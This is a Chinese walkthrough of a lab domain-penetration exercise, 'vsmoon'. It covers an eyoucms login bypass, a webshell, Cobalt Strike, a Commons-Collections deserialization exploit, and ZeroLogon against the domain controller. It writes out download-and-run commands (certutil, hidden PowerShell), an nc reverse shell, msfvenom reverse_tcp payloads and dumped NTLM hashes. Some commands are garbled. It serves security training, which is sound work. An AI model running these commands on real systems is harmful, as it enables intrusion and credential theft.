域渗透实战之 vsmoon_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

域渗透实战之 vsmoon

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


域渗透实战之 vsmoon

原文首发在:先知社区 链接:https://xz.aliyun.com/t/12959 作者:vghost   环境搭建: 搭建过程 web配置2个网卡,网卡0/0,22/0这2个网卡。 192.168.0.116 192.168.22.152 data配置22网卡和10网卡。 192.168.22.146 10.10.10.136 ad配置10网卡。 10.10.10.137 web打点 先去测试网络连通性。 端口扫描 使用nmap进行端口探测。 目录扫描 然后扫描该网站存在那些url地址。. 发现后台地址。 Nday利用 eyoucms-任意用户登录 application/api/controller/Ajax.php /** * 获取表单令牌 */ public function get_token($name = '__token__') { if (IS_AJAX) { echo $this->request->token($name); exit; } else { abort(404); } } 跟进 $this->request->token core/library/think/Request.php /** * 生成请求令牌 * @access public * @param string $name 令牌名称 * @param mixed $type 令牌生成方法 * @return string */ public function token($name = '__token__', $type = 'md5') { $type = is_callable($type) ? $type : 'md5'; $token = call_user_func($type, $_SERVER['REQUEST_TIME_FLOAT']); if ($this->isAjax()) { header($name . ': ' . $token); } Session::set($name, $token); return $token; } 代码主要的功能是设置session 但是值是md5 $_SERVER['REQUEST_TIME_FLOAT']); 这个是获取服务 时间戳 再看后台验证 application/admin/controller/Base.php 梳理思路 现在可以随意设置session里的name 值是md5的 现在可以随意设置session里的name 值是md5的 接着绕过 session('?admin_id') && getTime() - intval($admin_login_expire) < $web_login_expiretime $admin_login_expire 是服务器时间戳 md5 接着经过intval处理 public function get_token($name = '__token__') { if (IS_AJAX) { // echo $this->request->token($name); $token = call_user_func('md5', $_SERVER['REQUEST_TIME_FLOAT']); echo getTime() - intval($token); exit; } else { abort(404); } } 漏洞复现: 发现是eyoucms, 经过搜索发现后台存在任意登录漏洞。 写一个exp文件,然后获取用户cookie。 然后替换cookie,进行登录。 然后在index.html文件写入paylaod。 获取webshell 使用蚁剑连接,成功获取webshell 内网渗透 frp内网穿透 上传frp,运行。 客户端,开启服务。 上线cs 使用cs生成木马,然后通过蚁剑进行上线 内网信息收集 hashdump获取用户hash。 Administrator:500:aad3b435b51404eeaad3b435b51404ee:c51ba7c328cd01866885a37748816e07:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: 收集域内信息。 该主机不是域内主机,为双网卡主机。 网段为0和22端。不出网机器。 使用cs进行权限提升 使用代理进行端口扫描。发现存在多个端口开放。 横向移动 发现桌面有账号.txt 和一个jar包,下载jar包,然后到本地,进行利用。 java代码审计: 使用jd-gui反编译jar包。 接收服务过来的信息。 反序列化关键代码 ObjectInputStream ois = newObjectInputStream(this.socket.getInputStream()); Message ms = (Message)ois.readObject(); 这个是获取socket输入类再把序列化的内容跟反序列化变成指定的类。这里是服务器发送过来客户端的处理代码。服务端 在接收 登陆信息的时候 也应该是同样的处理。不过在转换类型的时候可能会异常退出。导致服务用过一次之后就不能使用了。从web服务器中看到的java版本是jdk1.8.0_65 这个版本是能够使用cc1这条反序列化链接的。 commons-collections commons-collections 3.2.1 序列化之后再进行反序列化 横向data主机 使用ysuse生成cc6.ser文件。 反弹shell 使用cs进行执行。 shell type   C:\phpstudy_pro\tmp\cc66.ser | C:\phpstudy_pro\tmp\nc64.exe -nv 192.168.22.146 9999 nc开启监听,成功反弹shell。 data主机上线cs netsh interface portproxy add v4tov4 listenport=4455 connectaddress=1.xxx.xxx.40 connectport=4455 shell netsh interface portproxy add v4tov4 listenport=80connectaddress=192..168.22.152:connectport=80 certutil -urlcache -split -f http://192..168.22.152:/beacon1.exe beacon1.execertutil -urlcache -split -f http://192.168.22.152/beacon1.exe beacon1.exe powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://192.168.22.152/beacon1.exe','beacon1.exe');start-process beacon.exe 使用cs生成beacon.exe,然后下载到data主机上,执行exe文件。 成功上线,发现该主机为双网段主机,10端为域内地址段。 域渗透 域内信息收集 发现域名为data.vsmoon.com 然后用mimikatz获取凭证 msf跨路由访问域控 使用msf生成后门。 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.128 lport=6666 -f exe > shell.exe 域控地址为:10.10.10.137 使用msf生成后门。 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= 192.168. 22.129 lport=6666 -f exe > shell.exe 然后使用msf开启监听,上传shell.exe,成功上线。 搭建代理 然后设置代理。 使用nmap进行端口探测 ZeroLogon(CVE-2020-1472) 提权域控 发现该主机为域内主机,存在ZeroLogon置空漏洞。 使用脚本进行域控密码置空。 获取管理员hahsh 使用wmiexec进行横向移动 Administrator:500:aad3b435b51404eeaad3b435b51404ee:66120f7b66195b694faeabc4e3b6752d::: 获取域控权限 成功获取域控权限。 利用获取到的管理员hash远程连接导出sam数据库中原来的计算机hash 恢复域控hash 恢复ntds.dit中的计算机hash并验证 .最后验证密码已经更改回去 73c7ee4d35c15fc80e7d8d9a13150a60ca9a0def38efc8482161f5f673ec677e7bec71316557b13550e4769094c59d18a3ab97553c625d24b687f5314651c79b55cf8e6fb1e21cafc463fa40166dd5deb8a6007125af1b900c67f00b8adf67468ad2e1f95aa3f9038c4670eb45e7646500d9d076e75bb93d01cf3ff748e1f9d5a77d4a978fb5434399ca8b2e21539d6882f7337fea9bc5c72c26a9b8a3a573294dc431780ad499c4eaebdd46abbcfe5b11d2393dacc253dfae8e6ce857b00af00a761379c73333f197bfd85b12da764f3ccbebb3072e03bc9698f3f382b3b28e231fb6c633cc71089896788a351deee1 黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担! 如侵权请私聊我们删文 END

域渗透实战之 vsmoon